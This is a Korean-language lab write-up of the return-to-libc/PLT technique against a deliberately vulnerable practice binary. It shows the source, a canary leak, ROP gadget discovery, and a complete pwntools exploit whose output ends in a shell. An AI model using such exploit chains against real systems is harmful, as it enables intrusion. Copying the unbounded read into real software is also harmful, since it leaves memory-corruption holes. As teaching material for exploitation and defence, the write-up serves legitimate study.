버퍼 오버플로우 취약점으로 반환 주소를 덮을 때, NX 방어기법을 우회하기 위해 system
이나 execve
같은 libc
함수들을 이용하는 공격 기법입니다.
실습 코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
보호 기법
$ checksec rtl
[*] '/home/ion/dreamhack/Exploit_Tech_Return_to_Library/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Canary와 NX 보호 기법이 걸려있습니다. 그리고 최신 리눅스 커널이기 때문에 ASLR이 기본적으로 적용되어 있습니다.
코드 분석
system("echo 'system@plt'")
로 인해 PLT에 system
함수가 추가되어 있습니다.
Return to PLT
PLT에는 함수의 주소를 구하고 실행하는 코드가 있기 때문에, 원하는 함수의 PLT 주소를 반환 주소에 넣으면 원하는 함수가 실행되게 할 수 있습니다.
PLT 주소는 ASLR 방어기법에는 영향을 받지 않고 PIE 방어기법에는 영향을 받습니다.
Return to PLT 기법을 적용해서 "/bin/sh"
를 인자로 system
의 PLT 값을 반환 주소에 넣으면 쉘을 띄울 수 있습니다.
read(0, buf, 0x100)
코드가 두 줄 있는데, 첫 번째 걸로는 카나리 릭을 두 번째 걸로는 버퍼 오버플로우를 할 수 있습니다.
1. 카나리 우회
buf
부터 Canary
까지 거리는 56 Byte이기 때문에 'A' 57개를 넣어서 카나리의 NULL 바이트를 덮어버리면 카나리 값을 릭할 수 있습니다.
2. rdi 값을 "/bin/sh"의 주소로 설정 및 쉘 흭득
"/bin/sh"
의 주소를 rdi
에 넣어서 system("/bin/sh")
를 호출하기 위해서는 리턴 가젯이 필요합니다.
리턴 가젯은 pop rdi; ret
처럼 ret
로 끝나는 어셈블리 코드 조각입니다.
pop rdi; ret
를 이용하면 pop rdi
로 rdi
를 "/bin/sh"
의 주소로 설정하고, ret
로 system
함수를 호출할 수 있습니다.
pop rdi; ret 주소 <= ret
"/bin/sh" 주소 <= ret + 0x8
system@plt 주소 <= ret + 0x10
카나리 우회
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
#context.log_level = 'debug'
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
# [1] Leak canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
slog("canary", canary)
$ python3 ex.py
[+] Starting local process './rtl': pid 2430
[*] '/home/ion/dreamhack/Exploit_Tech_Return_to_Library/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] canary: 0x73165ee71934d500
[*] Stopped process './rtl' (pid 2430)
리턴 가젯 찾기
$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret
$ ROPgadget --binary ./rtl --re "ret"
Gadgets information
============================================================
0x0000000000400596 : ret
pop rdi; ret : 0x0000000000400853
ret : 0x0000000000400596
익스플로잇
pop rdi; ret 주소 <= ret
"/bin/sh" 주소 <= ret + 0x8
system@plt 주소 <= ret + 0x10
다음과 같이 가젯을 구성하고 실행하면 system("/bin/sh")
를 실행할 수 있습니다.
하지만 system
함수는 rip
가 이동할 때, 스택이 16 단위로 정렬되어 있지 않으면 Segmentation Fault를 발생시키기 때문에, system
함수 전에 아무 의미 없는 가젯(no-op gadget)을 넣어줘야 합니다.
ret 주소 <= ret
pop rdi; ret 주소 <= ret + 0x8
"/bin/sh" 주소 <= ret + 0x10
system@plt 주소 <= ret + 0x18
그래서 위에 처럼 ret
가젯을 추가해서 가젯을 구성해줘야 합니다.
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
rtl : 0x400874 --> 0x68732f6e69622f ('/bin/sh')
rtl : 0x600874 --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7ffff7b95d88 --> 0x68732f6e69622f ('/bin/sh')
"/bin/sh" : 0x400874
gdb-peda$ plt
Breakpoint 2 at 0x4005c0 (__stack_chk_fail@plt)
Breakpoint 3 at 0x4005e0 (printf@plt)
Breakpoint 4 at 0x4005b0 (puts@plt)
Breakpoint 5 at 0x4005f0 (read@plt)
Breakpoint 6 at 0x400600 (setvbuf@plt)
Breakpoint 7 at 0x4005d0 (system@plt)
system@plt : 0x4005d0
익스플로잇 코드를 완성해보면
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
#context.log_level = 'debug'
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
# [1] Leak canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
slog("canary", canary)
# [2] Exploit
system_plt = e.plt["system"]
slog("system@plt", system_plt)
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400596
payload = b'A'*56 + p64(canary) + b'B'*8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendafter("Buf: ", payload)
p.interactive()
실행해보면
$ python3 exploit.py
[+] Starting local process './rtl': pid 2494
[*] '/home/ion/dreamhack/Exploit_Tech_Return_to_Library/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] canary: 0xaff3a407e368f100
[+] system@plt: 0x4005d0
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ ls
exploit.py peda-session-rtl.txt rtl rtl.c
쉘이 뜹니다.